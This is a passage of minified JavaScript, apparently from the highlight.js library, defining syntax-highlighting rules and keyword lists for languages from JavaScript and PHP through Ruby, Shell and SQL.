do\",n=\"\\\\b(0[bB]([01]+[01_]+[01]+|[01]+)|0[xX]([a-fA-F0-9]+[a-fA-F0-9_]+[a-fA-F0-9]+|[a-fA-F0-9]+)|(([\\\\d]+[\\\\d_]+[\\\\d]+|[\\\\d]+)(\\\\.([\\\\d]+[\\\\d_]+[\\\\d]+|[\\\\d]+))?|\\\\.([\\\\d]+[\\\\d_]+[\\\\d]+|[\\\\d]+))([eE][-+]?\\\\d+)?)[lLfF]?\",i={cN:\"number\",b:n,r:0};return{aliases:[\"jsp\"],k:a,i:/<\\/|#/,c:[e.C(\"/\\\\*\\\\*\",\"\\\\*/\",{r:0,c:[{b:/\\w+@/,r:0},{cN:\"doctag\",b:\"@[A-Za-z]+\"}]}),e.CLCM,e.CBCM,e.ASM,e.QSM,{cN:\"class\",bK:\"class interface\",e:/[{;=]/,eE:!0,k:\"class interface\",i:/[:\"\\[\\]]/,c:[{bK:\"extends implements\"},e.UTM]},{bK:\"new throw return else\",r:0},{cN:\"function\",b:\"(\"+r+\"\\\\s+)+\"+e.UIR+\"\\\\s*\\\\(\",rB:!0,e:/[{;=]/,eE:!0,k:a,c:[{b:e.UIR+\"\\\\s*\\\\(\",rB:!0,r:0,c:[e.UTM]},{cN:\"params\",b:/\\(/,e:/\\)/,k:a,r:0,c:[e.ASM,e.QSM,e.CNM,e.CBCM]},e.CLCM,e.CBCM]},i,{cN:\"meta\",b:\"@[A-Za-z]+\"}]}}),e.registerLanguage(\"javascript\",function(e){var t=\"[A-Za-z$_][0-9A-Za-z$_]*\",r={keyword:\"in of if for while finally var new function do return void else break catch instanceof with throw case default try this switch continue typeof delete let yield const export super debugger as async await static import from as\",literal:\"true false null undefined NaN Infinity\",built_in:\"eval isFinite isNaN parseFloat parseInt decodeURI decodeURIComponent encodeURI encodeURIComponent escape unescape Object Function Boolean Error EvalError InternalError RangeError ReferenceError StopIteration SyntaxError TypeError URIError Number Math Date String RegExp Array Float32Array Float64Array Int16Array Int32Array Int8Array Uint16Array Uint32Array Uint8Array Uint8ClampedArray ArrayBuffer DataView JSON Intl arguments require module console window document Symbol Set Map WeakSet WeakMap Proxy Reflect Promise\"},a={cN:\"number\",v:[{b:\"\\\\b(0[bB][01]+)\"},{b:\"\\\\b(0[oO][0-7]+)\"},{b:e.CNR}],r:0},n={cN:\"subst\",b:\"\\\\$\\\\{\",e:\"\\\\}\",k:r,c:[]},i={cN:\"string\",b:\"`\",e:\"`\",c:[e.BE,n]};n.c=[e.ASM,e.QSM,i,a,e.RM];var s=n.c.concat([e.CBCM,e.CLCM]);return{aliases:[\"js\",\"jsx\"],k:r,c:[{cN:\"meta\",r:10,b:/^\\s*['\"]use (strict|asm)['\"]/},{cN:\"meta\",b:/^#!/,e:/$/},e.ASM,e.QSM,i,e.CLCM,e.CBCM,a,{b:/[{,]\\s*/,r:0,c:[{b:t+\"\\\\s*:\",rB:!0,r:0,c:[{cN:\"attr\",b:t,r:0}]}]},{b:\"(\"+e.RSR+\"|\\\\b(case|return|throw)\\\\b)\\\\s*\",k:\"return throw case\",c:[e.CLCM,e.CBCM,e.RM,{cN:\"function\",b:\"(\\\\(.*?\\\\)|\"+t+\")\\\\s*=>\",rB:!0,e:\"\\\\s*=>\",c:[{cN:\"params\",v:[{b:t},{b:/\\(\\s*\\)/},{b:/\\(/,e:/\\)/,eB:!0,eE:!0,k:r,c:s}]}]},{b:/</,e:/(\\/\\w+|\\w+\\/)>/,sL:\"xml\",c:[{b:/<\\w+\\s*\\/>/,skip:!0},{b:/<\\w+/,e:/(\\/\\w+|\\w+\\/)>/,skip:!0,c:[{b:/<\\w+\\s*\\/>/,skip:!0},\"self\"]}]}],r:0},{cN:\"function\",bK:\"function\",e:/\\{/,eE:!0,c:[e.inherit(e.TM,{b:t}),{cN:\"params\",b:/\\(/,e:/\\)/,eB:!0,eE:!0,c:s}],i:/\\[|%/},{b:/\\$[(.]/},e.METHOD_GUARD,{cN:\"class\",bK:\"class\",e:/[{;=]/,eE:!0,i:/[:\"\\[\\]]/,c:[{bK:\"extends\"},e.UTM]},{bK:\"constructor\",e:/\\{/,eE:!0}],i:/#(?!!)/}}),e.registerLanguage(\"json\",function(e){var t={literal:\"true false null\"},r=[e.QSM,e.CNM],a={e:\",\",eW:!0,eE:!0,c:r,k:t},n={b:\"{\",e:\"}\",c:[{cN:\"attr\",b:/\"/,e:/\"/,c:[e.BE],i:\"\\\\n\"},e.inherit(a,{b:/:/})],i:\"\\\\S\"},i={b:\"\\\\[\",e:\"\\\\]\",c:[e.inherit(a)],i:\"\\\\S\"};return r.splice(r.length,0,n,i),{c:r,k:t,i:\"\\\\S\"}}),e.registerLanguage(\"makefile\",function(e){var t={cN:\"variable\",v:[{b:\"\\\\$\\\\(\"+e.UIR+\"\\\\)\",c:[e.BE]},{b:/\\$[@%<?\\^\\+\\*]/}]},r={cN:\"string\",b:/\"/,e:/\"/,c:[e.BE,t]},a={cN:\"variable\",b:/\\$\\([\\w-]+\\s/,e:/\\)/,k:{built_in:\"subst patsubst strip findstring filter filter-out sort word wordlist firstword lastword dir notdir suffix basename addsuffix addprefix join wildcard realpath abspath error warning shell origin flavor foreach if or and call eval file value\"},c:[t]},n={b:\"^\"+e.UIR+\"\\\\s*[:+?]?=\",i:\"\\\\n\",rB:!0,c:[{b:\"^\"+e.UIR,e:\"[:+?]?=\",eE:!0}]},i={cN:\"meta\",b:/^\\.PHONY:/,e:/$/,k:{\"meta-keyword\":\".PHONY\"},l:/[\\.\\w]+/},s={cN:\"section\",b:/^[^\\s]+:/,e:/$/,c:[t]};return{aliases:[\"mk\",\"mak\"],k:\"define endef undefine ifdef ifndef ifeq ifneq else endif include -include sinclude override export unexport private vpath\",l:/[\\w-]+/,c:[e.HCM,t,r,a,n,i,s]}}),e.registerLanguage(\"xml\",function(e){var t=\"[A-Za-z0-9\\\\._:-]+\",r={eW:!0,i:/</,r:0,c:[{cN:\"attr\",b:t,r:0},{b:/=\\s*/,r:0,c:[{cN:\"string\",endsParent:!0,v:[{b:/\"/,e:/\"/},{b:/'/,e:/'/},{b:/[^\\s\"'=<>`]+/}]}]}]};return{aliases:[\"html\",\"xhtml\",\"rss\",\"atom\",\"xjb\",\"xsd\",\"xsl\",\"plist\"],cI:!0,c:[{cN:\"meta\",b:\"<!DOCTYPE\",e:\">\",r:10,c:[{b:\"\\\\[\",e:\"\\\\]\"}]},e.C(\"<!--\",\"-->\",{r:10}),{b:\"<\\\\!\\\\[CDATA\\\\[\",e:\"\\\\]\\\\]>\",r:10},{b:/<\\?(php)?/,e:/\\?>/,sL:\"php\",c:[{b:\"/\\\\*\",e:\"\\\\*/\",skip:!0}]},{cN:\"tag\",b:\"<style(?=\\\\s|>|$)\",e:\">\",k:{name:\"style\"},c:[r],starts:{e:\"</style>\",rE:!0,sL:[\"css\",\"xml\"]}},{cN:\"tag\",b:\"<script(?=\\\\s|>|$)\",e:\">\",k:{name:\"script\"},c:[r],starts:{e:\"</script>\",rE:!0,sL:[\"actionscript\",\"javascript\",\"handlebars\",\"xml\"]}},{cN:\"meta\",v:[{b:/<\\?xml/,e:/\\?>/,r:10},{b:/<\\?\\w+/,e:/\\?>/}]},{cN:\"tag\",b:\"</?\",e:\"/?>\",c:[{cN:\"name\",b:/[^\\/><\\s]+/,r:0},r]}]}}),e.registerLanguage(\"markdown\",function(e){return{aliases:[\"md\",\"mkdown\",\"mkd\"],c:[{cN:\"section\",v:[{b:\"^#{1,6}\",e:\"$\"},{b:\"^.+?\\\\n[=-]{2,}$\"}]},{b:\"<\",e:\">\",sL:\"xml\",r:0},{cN:\"bullet\",b:\"^([*+-]|(\\\\d+\\\\.))\\\\s+\"},{cN:\"strong\",b:\"[*_]{2}.+?[*_]{2}\"},{cN:\"emphasis\",v:[{b:\"\\\\*.+?\\\\*\"},{b:\"_.+?_\",r:0}]},{cN:\"quote\",b:\"^>\\\\s+\",e:\"$\"},{cN:\"code\",v:[{b:\"^```w*s*$\",e:\"^```s*$\"},{b:\"`.+?`\"},{b:\"^( {4}|\t)\",e:\"$\",r:0}]},{b:\"^[-\\\\*]{3,}\",e:\"$\"},{b:\"\\\\[.+?\\\\][\\\\(\\\\[].*?[\\\\)\\\\]]\",rB:!0,c:[{cN:\"string\",b:\"\\\\[\",e:\"\\\\]\",eB:!0,rE:!0,r:0},{cN:\"link\",b:\"\\\\]\\\\(\",e:\"\\\\)\",eB:!0,eE:!0},{cN:\"symbol\",b:\"\\\\]\\\\[\",e:\"\\\\]\",eB:!0,eE:!0}],r:10},{b:/^\\[[^\\n]+\\]:/,rB:!0,c:[{cN:\"symbol\",b:/\\[/,e:/\\]/,eB:!0,eE:!0},{cN:\"link\",b:/:\\s*/,e:/$/,eB:!0}]}]}}),e.registerLanguage(\"nginx\",function(e){var t={cN:\"variable\",v:[{b:/\\$\\d+/},{b:/\\$\\{/,e:/}/},{b:\"[\\\\$\\\\@]\"+e.UIR}]},r={eW:!0,l:\"[a-z/_]+\",k:{literal:\"on off yes no true false none blocked debug info notice warn error crit select break last permanent redirect kqueue rtsig epoll poll /dev/poll\"},r:0,i:\"=>\",c:[e.HCM,{cN:\"string\",c:[e.BE,t],v:[{b:/\"/,e:/\"/},{b:/'/,e:/'/}]},{b:\"([a-z]+):/\",e:\"\\\\s\",eW:!0,eE:!0,c:[t]},{cN:\"regexp\",c:[e.BE,t],v:[{b:\"\\\\s\\\\^\",e:\"\\\\s|{|;\",rE:!0},{b:\"~\\\\*?\\\\s+\",e:\"\\\\s|{|;\",rE:!0},{b:\"\\\\*(\\\\.[a-z\\\\-]+)+\"},{b:\"([a-z\\\\-]+\\\\.)+\\\\*\"}]},{cN:\"number\",b:\"\\\\b\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3}(:\\\\d{1,5})?\\\\b\"},{cN:\"number\",b:\"\\\\b\\\\d+[kKmMgGdshdwy]*\\\\b\",r:0},t]};return{aliases:[\"nginxconf\"],c:[e.HCM,{b:e.UIR+\"\\\\s+{\",rB:!0,e:\"{\",c:[{cN:\"section\",b:e.UIR}],r:0},{b:e.UIR+\"\\\\s\",e:\";|{\",rB:!0,c:[{cN:\"attribute\",b:e.UIR,starts:r}],r:0}],i:\"[^\\\\s\\\\}]\"}}),e.registerLanguage(\"objectivec\",function(e){var t={cN:\"built_in\",b:\"\\\\b(AV|CA|CF|CG|CI|CL|CM|CN|CT|MK|MP|MTK|MTL|NS|SCN|SK|UI|WK|XC)\\\\w+\"},r={keyword:\"int float while char export sizeof typedef const struct for union unsigned long volatile static bool mutable if do return goto void enum else break extern asm case short default double register explicit signed typename this switch continue wchar_t inline readonly assign readwrite self @synchronized id typeof nonatomic super unichar IBOutlet IBAction strong weak copy in out inout bycopy byref oneway __strong __weak __block __autoreleasing @private @protected @public @try @property @end @throw @catch @finally @autoreleasepool @synthesize @dynamic @selector @optional @required @encode @package @import @defs @compatibility_alias __bridge __bridge_transfer __bridge_retained __bridge_retain __covariant __contravariant __kindof _Nonnull _Nullable _Null_unspecified __FUNCTION__ __PRETTY_FUNCTION__ __attribute__ getter setter retain unsafe_unretained nonnull nullable null_unspecified null_resettable class instancetype NS_DESIGNATED_INITIALIZER NS_UNAVAILABLE NS_REQUIRES_SUPER NS_RETURNS_INNER_POINTER NS_INLINE NS_AVAILABLE NS_DEPRECATED NS_ENUM NS_OPTIONS NS_SWIFT_UNAVAILABLE NS_ASSUME_NONNULL_BEGIN NS_ASSUME_NONNULL_END NS_REFINED_FOR_SWIFT NS_SWIFT_NAME NS_SWIFT_NOTHROW NS_DURING NS_HANDLER NS_ENDHANDLER NS_VALUERETURN NS_VOIDRETURN\",literal:\"false true FALSE TRUE nil YES NO NULL\",built_in:\"BOOL dispatch_once_t dispatch_queue_t dispatch_sync dispatch_async dispatch_once\"},a=/[a-zA-Z@][a-zA-Z0-9_]*/,n=\"@interface @class @protocol @implementation\";return{aliases:[\"mm\",\"objc\",\"obj-c\"],k:r,l:a,i:\"</\",c:[t,e.CLCM,e.CBCM,e.CNM,e.QSM,{cN:\"string\",v:[{b:'@\"',e:'\"',i:\"\\\\n\",c:[e.BE]},{b:\"'\",e:\"[^\\\\\\\\]'\",i:\"[^\\\\\\\\][^']\"}]},{cN:\"meta\",b:\"#\",e:\"$\",c:[{cN:\"meta-string\",v:[{b:'\"',e:'\"'},{b:\"<\",e:\">\"}]}]},{cN:\"class\",b:\"(\"+n.split(\" \").join(\"|\")+\")\\\\b\",e:\"({|$)\",eE:!0,k:n,l:a,c:[e.UTM]},{b:\"\\\\.\"+e.UIR,r:0}]}}),e.registerLanguage(\"perl\",function(e){var t=\"getpwent getservent quotemeta msgrcv scalar kill dbmclose undef lc ma syswrite tr send umask sysopen shmwrite vec qx utime local oct semctl localtime readpipe do return format read sprintf dbmopen pop getpgrp not getpwnam rewinddir qqfileno qw endprotoent wait sethostent bless s|0 opendir continue each sleep endgrent shutdown dump chomp connect getsockname die socketpair close flock exists index shmgetsub for endpwent redo lstat msgctl setpgrp abs exit select print ref gethostbyaddr unshift fcntl syscall goto getnetbyaddr join gmtime symlink semget splice x|0 getpeername recv log setsockopt cos last reverse gethostbyname getgrnam study formline endhostent times chop length gethostent getnetent pack getprotoent getservbyname rand mkdir pos chmod y|0 substr endnetent printf next open msgsnd readdir use unlink getsockopt getpriority rindex wantarray hex system getservbyport endservent int chr untie rmdir prototype tell listen fork shmread ucfirst setprotoent else sysseek link getgrgid shmctl waitpid unpack getnetbyname reset chdir grep split require caller lcfirst until warn while values shift telldir getpwuid my getprotobynumber delete and sort uc defined srand accept package seekdir getprotobyname semop our rename seek if q|0 chroot sysread setpwent no crypt getc chown sqrt write setnetent setpriority foreach tie sin msgget map stat getlogin unless elsif truncate exec keys glob tied closedirioctl socket readlink eval xor readline binmode setservent eof ord bind alarm pipe atan2 getgrent exp time push setgrent gt lt or ne m|0 break given say state when\",r={cN:\"subst\",b:\"[$@]\\\\{\",e:\"\\\\}\",k:t},a={b:\"->{\",e:\"}\"},n={v:[{b:/\\$\\d/},{b:/[\\$%@](\\^\\w\\b|#\\w+(::\\w+)*|{\\w+}|\\w+(::\\w*)*)/},{b:/[\\$%@][^\\s\\w{]/,r:0}]},i=[e.BE,r,n],s=[n,e.HCM,e.C(\"^\\\\=\\\\w\",\"\\\\=cut\",{eW:!0}),a,{cN:\"string\",c:i,v:[{b:\"q[qwxr]?\\\\s*\\\\(\",e:\"\\\\)\",r:5},{b:\"q[qwxr]?\\\\s*\\\\[\",e:\"\\\\]\",r:5},{b:\"q[qwxr]?\\\\s*\\\\{\",e:\"\\\\}\",r:5},{b:\"q[qwxr]?\\\\s*\\\\|\",e:\"\\\\|\",r:5},{b:\"q[qwxr]?\\\\s*\\\\<\",e:\"\\\\>\",r:5},{b:\"qw\\\\s+q\",e:\"q\",r:5},{b:\"'\",e:\"'\",c:[e.BE]},{b:'\"',e:'\"'},{b:\"`\",e:\"`\",c:[e.BE]},{b:\"{\\\\w+}\",c:[],r:0},{b:\"-?\\\\w+\\\\s*\\\\=\\\\>\",c:[],r:0}]},{cN:\"number\",b:\"(\\\\b0[0-7_]+)|(\\\\b0x[0-9a-fA-F_]+)|(\\\\b[1-9][0-9_]*(\\\\.[0-9_]+)?)|[0_]\\\\b\",r:0},{b:\"(\\\\/\\\\/|\"+e.RSR+\"|\\\\b(split|return|print|reverse|grep)\\\\b)\\\\s*\",k:\"split return print reverse grep\",r:0,c:[e.HCM,{cN:\"regexp\",b:\"(s|tr|y)/(\\\\\\\\.|[^/])*/(\\\\\\\\.|[^/])*/[a-z]*\",r:10},{cN:\"regexp\",b:\"(m|qr)?/\",e:\"/[a-z]*\",c:[e.BE],r:0}]},{cN:\"function\",bK:\"sub\",e:\"(\\\\s*\\\\(.*?\\\\))?[;{]\",eE:!0,r:5,c:[e.TM]},{b:\"-\\\\w\\\\b\",r:0},{b:\"^__DATA__$\",e:\"^__END__$\",sL:\"mojolicious\",c:[{b:\"^@@.*\",e:\"$\",cN:\"comment\"}]}];return r.c=s,a.c=s,{aliases:[\"pl\",\"pm\"],l:/[\\w\\.]+/,k:t,c:s}}),e.registerLanguage(\"php\",function(e){var t={b:\"\\\\$+[a-zA-Z_-ÿ][a-zA-Z0-9_-ÿ]*\"},r={cN:\"meta\",b:/<\\?(php)?|\\?>/},a={cN:\"string\",c:[e.BE,r],v:[{b:'b\"',e:'\"'},{b:\"b'\",e:\"'\"},e.inherit(e.ASM,{i:null}),e.inherit(e.QSM,{i:null})]},n={v:[e.BNM,e.CNM]};return{aliases:[\"php3\",\"php4\",\"php5\",\"php6\"],cI:!0,k:\"and include_once list abstract global private echo interface as static endswitch array null if endwhile or const for endforeach self var while isset public protected exit foreach throw elseif include __FILE__ empty require_once do xor return parent clone use __CLASS__ __LINE__ else break print eval new catch __METHOD__ case exception default die require __FUNCTION__ enddeclare final try switch continue endfor endif declare unset true false trait goto instanceof insteadof __DIR__ __NAMESPACE__ yield finally\",c:[e.HCM,e.C(\"//\",\"$\",{c:[r]}),e.C(\"/\\\\*\",\"\\\\*/\",{c:[{cN:\"doctag\",b:\"@[A-Za-z]+\"}]}),e.C(\"__halt_compiler.+?;\",!1,{eW:!0,k:\"__halt_compiler\",l:e.UIR}),{cN:\"string\",b:/<<<['\"]?\\w+['\"]?$/,e:/^\\w+;?$/,c:[e.BE,{cN:\"subst\",v:[{b:/\\$\\w+/},{b:/\\{\\$/,e:/\\}/}]}]},r,{cN:\"keyword\",b:/\\$this\\b/},t,{b:/(::|->)+[a-zA-Z_\\x7f-\\xff][a-zA-Z0-9_\\x7f-\\xff]*/},{cN:\"function\",bK:\"function\",e:/[;{]/,eE:!0,i:\"\\\\$|\\\\[|%\",c:[e.UTM,{cN:\"params\",b:\"\\\\(\",e:\"\\\\)\",c:[\"self\",t,e.CBCM,a,n]}]},{cN:\"class\",bK:\"class interface\",e:\"{\",eE:!0,i:/[:\\(\\$\"]/,c:[{bK:\"extends implements\"},e.UTM]},{bK:\"namespace\",e:\";\",i:/[\\.']/,c:[e.UTM]},{bK:\"use\",e:\";\",c:[e.UTM]},{b:\"=>\"},a,n]}}),e.registerLanguage(\"python\",function(e){var t={keyword:\"and elif is global as in if from raise for except finally print import pass return exec else break not with class assert yield try while continue del or def lambda async await nonlocal|10 None True False\",built_in:\"Ellipsis NotImplemented\"},r={cN:\"meta\",b:/^(>>>|\\.\\.\\.) /},a={cN:\"subst\",b:/\\{/,e:/\\}/,k:t,i:/#/},n={cN:\"string\",c:[e.BE],v:[{b:/(u|b)?r?'''/,e:/'''/,c:[r],r:10},{b:/(u|b)?r?\"\"\"/,e:/\"\"\"/,c:[r],r:10},{b:/(fr|rf|f)'''/,e:/'''/,c:[r,a]},{b:/(fr|rf|f)\"\"\"/,e:/\"\"\"/,c:[r,a]},{b:/(u|r|ur)'/,e:/'/,r:10},{b:/(u|r|ur)\"/,e:/\"/,r:10},{b:/(b|br)'/,e:/'/},{b:/(b|br)\"/,e:/\"/},{b:/(fr|rf|f)'/,e:/'/,c:[a]},{b:/(fr|rf|f)\"/,e:/\"/,c:[a]},e.ASM,e.QSM]},i={cN:\"number\",r:0,v:[{b:e.BNR+\"[lLjJ]?\"},{b:\"\\\\b(0o[0-7]+)[lLjJ]?\"},{b:e.CNR+\"[lLjJ]?\"}]},s={cN:\"params\",b:/\\(/,e:/\\)/,c:[\"self\",r,i,n]};return a.c=[n,i,r],{aliases:[\"py\",\"gyp\"],k:t,i:/(<\\/|->|\\?)|=>/,c:[r,i,n,e.HCM,{v:[{cN:\"function\",bK:\"def\"},{cN:\"class\",bK:\"class\"}],e:/:/,i:/[${=;\\n,]/,c:[e.UTM,s,{b:/->/,eW:!0,k:\"None\"}]},{cN:\"meta\",b:/^[\\t ]*@/,e:/$/},{b:/\\b(print|exec)\\(/}]}}),e.registerLanguage(\"ruby\",function(e){\nvar t=\"[a-zA-Z_]\\\\w*[!?=]?|[-+~]\\\\@|<<|>>|=~|===?|<=>|[<>]=?|\\\\*\\\\*|[-/+%^&*~`|]|\\\\[\\\\]=?\",r={keyword:\"and then defined module in return redo if BEGIN retry end for self when next until do begin unless END rescue else break undef not super class case require yield alias while ensure elsif or include attr_reader attr_writer attr_accessor\",literal:\"true false nil\"},a={cN:\"doctag\",b:\"@[A-Za-z]+\"},n={b:\"#<\",e:\">\"},i=[e.C(\"#\",\"$\",{c:[a]}),e.C(\"^\\\\=begin\",\"^\\\\=end\",{c:[a],r:10}),e.C(\"^__END__\",\"\\\\n$\")],s={cN:\"subst\",b:\"#\\\\{\",e:\"}\",k:r},c={cN:\"string\",c:[e.BE,s],v:[{b:/'/,e:/'/},{b:/\"/,e:/\"/},{b:/`/,e:/`/},{b:\"%[qQwWx]?\\\\(\",e:\"\\\\)\"},{b:\"%[qQwWx]?\\\\[\",e:\"\\\\]\"},{b:\"%[qQwWx]?{\",e:\"}\"},{b:\"%[qQwWx]?<\",e:\">\"},{b:\"%[qQwWx]?/\",e:\"/\"},{b:\"%[qQwWx]?%\",e:\"%\"},{b:\"%[qQwWx]?-\",e:\"-\"},{b:\"%[qQwWx]?\\\\|\",e:\"\\\\|\"},{b:/\\B\\?(\\\\\\d{1,3}|\\\\x[A-Fa-f0-9]{1,2}|\\\\u[A-Fa-f0-9]{4}|\\\\?\\S)\\b/},{b:/<<(-?)\\w+$/,e:/^\\s*\\w+$/}]},o={cN:\"params\",b:\"\\\\(\",e:\"\\\\)\",endsParent:!0,k:r},l=[c,n,{cN:\"class\",bK:\"class module\",e:\"$|;\",i:/=/,c:[e.inherit(e.TM,{b:\"[A-Za-z_]\\\\w*(::\\\\w+)*(\\\\?|\\\\!)?\"}),{b:\"<\\\\s*\",c:[{b:\"(\"+e.IR+\"::)?\"+e.IR}]}].concat(i)},{cN:\"function\",bK:\"def\",e:\"$|;\",c:[e.inherit(e.TM,{b:t}),o].concat(i)},{b:e.IR+\"::\"},{cN:\"symbol\",b:e.UIR+\"(\\\\!|\\\\?)?:\",r:0},{cN:\"symbol\",b:\":(?!\\\\s)\",c:[c,{b:t}],r:0},{cN:\"number\",b:\"(\\\\b0[0-7_]+)|(\\\\b0x[0-9a-fA-F_]+)|(\\\\b[1-9][0-9_]*(\\\\.[0-9_]+)?)|[0_]\\\\b\",r:0},{b:\"(\\\\$\\\\W)|((\\\\$|\\\\@\\\\@?)(\\\\w+))\"},{cN:\"params\",b:/\\|/,e:/\\|/,k:r},{b:\"(\"+e.RSR+\"|unless)\\\\s*\",k:\"unless\",c:[n,{cN:\"regexp\",c:[e.BE,s],i:/\\n/,v:[{b:\"/\",e:\"/[a-z]*\"},{b:\"%r{\",e:\"}[a-z]*\"},{b:\"%r\\\\(\",e:\"\\\\)[a-z]*\"},{b:\"%r!\",e:\"![a-z]*\"},{b:\"%r\\\\[\",e:\"\\\\][a-z]*\"}]}].concat(i),r:0}].concat(i);s.c=l,o.c=l;var u=\"[>?]>\",d=\"[\\\\w#]+\\\\(\\\\w+\\\\):\\\\d+:\\\\d+>\",b=\"(\\\\w+-)?\\\\d+\\\\.\\\\d+\\\\.\\\\d(p\\\\d+)?[^>]+>\",p=[{b:/^\\s*=>/,starts:{e:\"$\",c:l}},{cN:\"meta\",b:\"^(\"+u+\"|\"+d+\"|\"+b+\")\",starts:{e:\"$\",c:l}}];return{aliases:[\"rb\",\"gemspec\",\"podspec\",\"thor\",\"irb\"],k:r,i:/\\/\\*/,c:i.concat(p).concat(l)}}),e.registerLanguage(\"shell\",function(e){return{aliases:[\"console\"],c:[{cN:\"meta\",b:\"^\\\\s{0,3}[\\\\w\\\\d\\\\[\\\\]()@-]*[>%$#]\",starts:{e:\"$\",sL:\"bash\"}}]}}),e.registerLanguage(\"sql\",function(e){var t=e.C(\"--\",\"$\");return{cI:!0,i:/[<>{}*#]/,c:[{bK:\"begin end start commit rollback savepoint lock alter create drop rename call delete do handler insert load replace select truncate update set show pragma grant merge describe use explain help declare prepare execute deallocate release unlock purge reset change stop analyze cache flush optimize repair kill install uninstall checksum restore check backup revoke comment\",e:/;/,eW:!0,l:/[\\w\\.]+/,k:{keyword:\"abort abs absolute acc acce accep accept access accessed accessible account acos action activate add addtime admin administer advanced advise aes_decrypt aes_encrypt after agent aggregate ali alia alias allocate allow alter always analyze ancillary and any anydata anydataset anyschema anytype apply archive archived archivelog are as asc ascii asin assembly assertion associate asynchronous at atan atn2 attr attri attrib attribu attribut attribute attributes audit authenticated authentication authid authors auto autoallocate autodblink autoextend automatic availability avg backup badfile basicfile before begin beginning benchmark between bfile bfile_base big bigfile bin binary_double binary_float binlog bit_and bit_count bit_length bit_or bit_xor bitmap blob_base block blocksize body both bound buffer_cache buffer_pool build bulk by byte byteordermark bytes cache caching call calling cancel capacity cascade cascaded case cast catalog category ceil ceiling chain change changed char_base char_length character_length characters characterset charindex charset charsetform charsetid check checksum checksum_agg child choose chr chunk class cleanup clear client clob clob_base clone close cluster_id cluster_probability cluster_set clustering coalesce coercibility col collate collation collect colu colum column column_value columns columns_updated comment commit compact compatibility compiled complete composite_limit compound compress compute concat concat_ws concurrent confirm conn connec connect connect_by_iscycle connect_by_isleaf connect_by_root connect_time connection consider consistent constant constraint constraints constructor container content contents context contributors controlfile conv convert convert_tz corr corr_k corr_s corresponding corruption cos cost count count_big counted covar_pop covar_samp cpu_per_call cpu_per_session crc32 create creation critical cross cube cume_dist curdate current current_date current_time current_timestamp current_user cursor curtime customdatum cycle data database databases datafile datafiles datalength date_add date_cache date_format date_sub dateadd datediff datefromparts datename datepart datetime2fromparts day day_to_second dayname dayofmonth dayofweek dayofyear days db_role_change dbtimezone ddl deallocate declare decode decompose decrement decrypt deduplicate def defa defau defaul default defaults deferred defi defin define degrees delayed delegate delete delete_all delimited demand dense_rank depth dequeue des_decrypt des_encrypt des_key_file desc descr descri describ describe descriptor deterministic diagnostics difference dimension direct_load directory disable disable_all disallow disassociate discardfile disconnect diskgroup distinct distinctrow distribute distributed div do document domain dotnet double downgrade drop dumpfile duplicate duration each edition editionable editions element ellipsis else elsif elt empty enable enable_all enclosed encode encoding encrypt end end-exec endian enforced engine engines enqueue enterprise entityescaping eomonth error errors escaped evalname evaluate event eventdata events except exception exceptions exchange exclude excluding execu execut execute exempt exists exit exp expire explain export export_set extended extent external external_1 external_2 externally extract failed failed_login_attempts failover failure far fast feature_set feature_value fetch field fields file file_name_convert filesystem_like_logging final finish first first_value fixed flash_cache flashback floor flush following follows for forall force form forma format found found_rows freelist freelists freepools fresh from from_base64 from_days ftp full function general generated get get_format get_lock getdate getutcdate global global_name globally go goto grant grants greatest group group_concat group_id grouping grouping_id groups gtid_subtract guarantee guard handler hash hashkeys having hea head headi headin heading heap help hex hierarchy high high_priority hosts hour http id ident_current ident_incr ident_seed identified identity idle_time if ifnull ignore iif ilike ilm immediate import in include including increment index indexes indexing indextype indicator indices inet6_aton inet6_ntoa inet_aton inet_ntoa infile initial initialized initially initrans inmemory inner innodb input insert install instance instantiable instr interface interleaved intersect into invalidate invisible is is_free_lock is_ipv4 is_ipv4_compat is_not is_not_null is_used_lock isdate isnull isolation iterate java join json json_exists keep keep_duplicates key keys kill language large last last_day last_insert_id last_value lax lcase lead leading least leaves left len lenght length less level levels library like like2 like4 likec limit lines link list listagg little ln load load_file lob lobs local localtime localtimestamp locate locator lock locked log log10 log2 logfile logfiles logging logical logical_reads_per_call logoff logon logs long loop low low_priority lower lpad lrtrim ltrim main make_set makedate maketime managed management manual map mapping mask master master_pos_wait match matched materialized max maxextents maximize maxinstances maxlen maxlogfiles maxloghistory maxlogmembers maxsize maxtrans md5 measures median medium member memcompress memory merge microsecond mid migration min minextents minimum mining minus minute minvalue missing mod mode model modification modify module monitoring month months mount move movement multiset mutex name name_const names nan national native natural nav nchar nclob nested never new newline next nextval no no_write_to_binlog noarchivelog noaudit nobadfile nocheck nocompress nocopy nocycle nodelay nodiscardfile noentityescaping noguarantee nokeep nologfile nomapping nomaxvalue nominimize nominvalue nomonitoring none noneditionable nonschema noorder nopr nopro noprom nopromp noprompt norely noresetlogs noreverse normal norowdependencies noschemacheck noswitch not nothing notice notrim novalidate now nowait nth_value nullif nulls num numb numbe nvarchar nvarchar2 object ocicoll ocidate ocidatetime ociduration ociinterval ociloblocator ocinumber ociref ocirefcursor ocirowid ocistring ocitype oct octet_length of off offline offset oid oidindex old on online only opaque open operations operator optimal optimize option optionally or oracle oracle_date oradata ord ordaudio orddicom orddoc order ordimage ordinality ordvideo organization orlany orlvary out outer outfile outline output over overflow overriding package pad parallel parallel_enable parameters parent parse partial partition partitions pascal passing password password_grace_time password_lock_time password_reuse_max password_reuse_time password_verify_function patch path patindex pctincrease pctthreshold pctused pctversion percent percent_rank percentile_cont percentile_disc performance period period_add period_diff permanent physical pi pipe pipelined pivot pluggable plugin policy position post_transaction pow power pragma prebuilt precedes preceding precision prediction prediction_cost prediction_details prediction_probability prediction_set prepare present preserve prior priority private private_sga privileges procedural procedure procedure_analyze processlist profiles project prompt protection public publishingservername purge quarter query quick quiesce quota quotename radians raise rand range rank raw read reads readsize rebuild record records recover recovery recursive recycle redo reduced ref reference referenced references referencing refresh regexp_like register regr_avgx regr_avgy regr_count regr_intercept regr_r2 regr_slope regr_sxx regr_sxy reject rekey relational relative relaylog release release_lock relies_on relocate rely rem remainder rename repair repeat replace replicate replication required reset resetlogs resize resource respect restore restricted result result_cache resumable resume retention return returning returns reuse reverse revoke right rlike role roles rollback rolling rollup round row row_count rowdependencies rowid rownum rows rtrim rules safe salt sample save savepoint sb1 sb2 sb4 scan schema schemacheck scn scope scroll sdo_georaster sdo_topo_geometry search sec_to_time second section securefile security seed segment select self sequence sequential serializable server servererror session session_user sessions_per_user set sets settings sha sha1 sha2 share shared 